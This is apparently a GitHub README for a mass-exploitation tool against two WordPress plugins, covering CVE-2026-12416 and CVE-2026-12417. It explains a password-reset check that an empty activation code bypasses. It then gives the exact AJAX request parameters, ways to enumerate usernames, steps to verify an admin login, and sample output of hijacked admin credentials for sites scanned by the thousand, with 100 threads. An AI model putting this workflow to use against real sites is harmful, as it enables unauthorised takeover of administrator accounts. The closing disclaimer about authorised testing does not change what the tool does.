Nxploited/CVE-2026-12416-CVE-2026-12417

GitHub: Nxploited/CVE-2026-12416-CVE-2026-12417

针对 WordPress 插件弱密码重置验证漏洞(CVE-2026-12416/12417)的批量扫描与利用工具,可未授权接管管理员账户。

Stars: 0 | Forks: 0

# CVE-2026-12416-CVE-2026-12417 通过 `reset_user_id` 参数的弱密码重置验证导致的未经身份验证的账户接管 | 通过 `reset_activation_code` 的弱密码重置验证导致的未经身份验证的权限提升并最终接管账户 # CVE-2026-12417 & CVE-2026-12416 — 批量扫描器 **作者:Khaled Alenazi (Nxploited)** ## 漏洞 ### CVE-2026-12417 — SignUp & SignIn ≤ 1.0.0 **通过弱密码重置验证实现的未经身份验证的权限提升** | 字段 | 值 | |---|---| | CVSS | **9.8 严重** | | 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | 发布日期 | 2026 年 6 月 23 日 | | 研究员 | Alyudin Nafiie | `pravel_change_password()` 函数被注册为 `wp_ajax_nopriv` 处理程序——无需身份验证即可访问。它不执行 nonce 验证,也不进行权限检查。唯一的防护是对攻击者提供的 `reset_activation_code` 和用户的 `forgot_email` meta 值进行松散的相等比较。对于任何从未触发过密码重置的用户,`get_user_meta()` 会返回一个空字符串,如果代码被省略或为空,这就会轻易地满足 `'' == ''` 的条件。因此,未经身份验证的攻击者可以向 `admin-ajax.php` 发送构造好的 POST 请求,将 `action` 设置为 `pravel_change_password`,将 `reset_user_id` 设置为任何用户 ID(包括管理员账户),并将 `new_password_custom` 设置为任意密码——从而实现完全的账户接管。 ### CVE-2026-12416 — Invoice Generator ≤ 1.0.0 **通过弱密码重置验证导致的未经身份验证的账户接管** | 字段 | 值 | |---|---| | CVSS | **9.8 严重** | | 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | 发布日期 | 2026 年 6 月 23 日 | | 研究员 | Alyudin Nafiie | 同样地,`pravel_invoice_change_password()` 函数也被公开为 nopriv AJAX 处理程序,没有 nonce 验证和授权检查。相同的 `'' == ''` 绕过方法在此同样适用:针对从未使用过忘记密码流程的管理员,提供空的 `reset_activation_code` 即可立即重置密码。攻击者通过 `reset_user_id` 控制目标,并通过 `new_password_custom` 设置新的凭据。 ## 扫描器工作原理 ``` For each target site: 1. AJAX Probe (fast path — IDs 1 and 2) POST /wp-admin/admin-ajax.php action=pravel_change_password (CVE-2026-12417) action=pravel_invoice_change_password (CVE-2026-12416) reset_user_id= new_password_custom= reset_activation_code= ← empty — bypasses the check Response on success: {"activation":true,"message":"Password has been changed successfully"} 2. Username Resolution (lazy — only runs after confirmed reset) a. GET /wp-json/wp/v2/users/ ← exact username for the reset ID b. "admin" ← always tried second c. GET /wp-json/wp/v2/users ← REST API bulk list d. /?author=1..3 redirect ← author archive scan 3. Login Verification POST /wp-login.php log= pwd= Check for wordpress_logged_in cookie. 4. Admin Confirmation GET /wp-admin/users.php Requires list_users capability — administrators only. Any deny message or login redirect → not admin, skip. 5. On Confirmed Admin Save to scan_results/pravel_admin_success.txt: SITE | LOGIN URL | user | pass | exploit | id Print result line to terminal. 6. Extended Sweep (if IDs 1–2 both fail) Repeat steps 1–5 for user IDs 3 through 20. ``` ## 成功输出 终端: ``` [1/5000] https://target.com NO [2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php [3/5000] https://another.com NO ``` 结果文件 (`scan_results/pravel_admin_success.txt`): ``` [2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1 ``` ## 用法 ``` python Cl.py Targets file (one URL per line) [targets.txt]: sites.txt Threads (concurrent sites) [50]: 100 ``` 依赖环境: ``` pip install requests rich colorama urllib3 ``` ## 免责声明 本工具仅供**授权的安全研究和渗透测试使用**。 对您不拥有或未获得明确书面授权的系统进行测试是非法的。 作者对因使用本工具而造成的任何滥用或损害概不负责。 所有 CVE 详情均来源于公开的漏洞数据库。 **作者:Khaled Alenazi (Nxploited)**
标签:StruQ, WordPress插件, 加密, 协议分析, 安全漏洞, 权限提升, 漏洞扫描器, 账户接管, 逆向工具